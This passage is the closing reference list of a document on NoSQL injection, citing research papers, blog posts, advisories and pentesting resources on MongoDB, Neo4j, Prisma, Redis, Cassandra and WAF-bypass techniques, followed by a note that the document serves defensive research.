  10. Soroush Dalili — “MongoDB NoSQL Injection with Aggregation Pipelines” (2024) — https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/
  11. Van Landuyt, Wijshoff, Joosen — “A study of NoSQL query injection in Neo4j” — Computers & Security, Feb 2024 — https://dl.acm.org/doi/10.1016/j.cose.2023.103590
  12. Neo4j Knowledge Base — “Protecting Against Cypher Injection” — https://neo4j.com/developer/kb/protecting-against-cypher-injection/
  13. elttam — “plORMbing your Prisma ORM with Time-based Attacks” (2024) — https://www.elttam.com/blog/plorming-your-primsa-orm/
  14. Aikido Security — “Prisma and PostgreSQL vulnerable to NoSQL injection” (2025) — https://www.aikido.dev/blog/prisma-and-postgresql-vulnerable-to-nosql-injection
  15. SecOps Group — “A Pentester’s Guide to NoSQL Injection” — https://secops.group/a-pentesters-guide-to-nosql-injection/
  16. HackerOne Rocket.Chat reports: #1130721 (pre-auth blind), #1130874 (post-auth blind), #1757676 (listEmojiCustom)
  17. HackTricks — Redis Pentesting (6379) — https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
  18. WAFFLED (2025) — “Exploiting Parsing Discrepancies to Bypass Web Application Firewalls” — https://arxiv.org/html/2503.10846v1
  19. Claroty Team82 — “{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF” (2023) — https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
  20. PayloadsAllTheThings — Cassandra Injection — https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md
  21. NodeXP: NOde.js SSJI DEtection and eXPloitation — Journal of Systems and Software, 2021 — https://www.sciencedirect.com/science/article/abs/pii/S221421262100003X
  22. INCIBE-CERT — “NoSQL Injection: How malicious input can compromise your application” — https://www.incibe.es/en/incibe-cert/blog/nosql-injection-how-malicious-input-can-compromise-your-application
  23. Jorianwoltjer — NoSQL Injection (Practical CTF) — https://book.jorianwoltjer.com/web/server-side/nosql-injection

This document was created for defensive security research and vulnerability understanding purposes.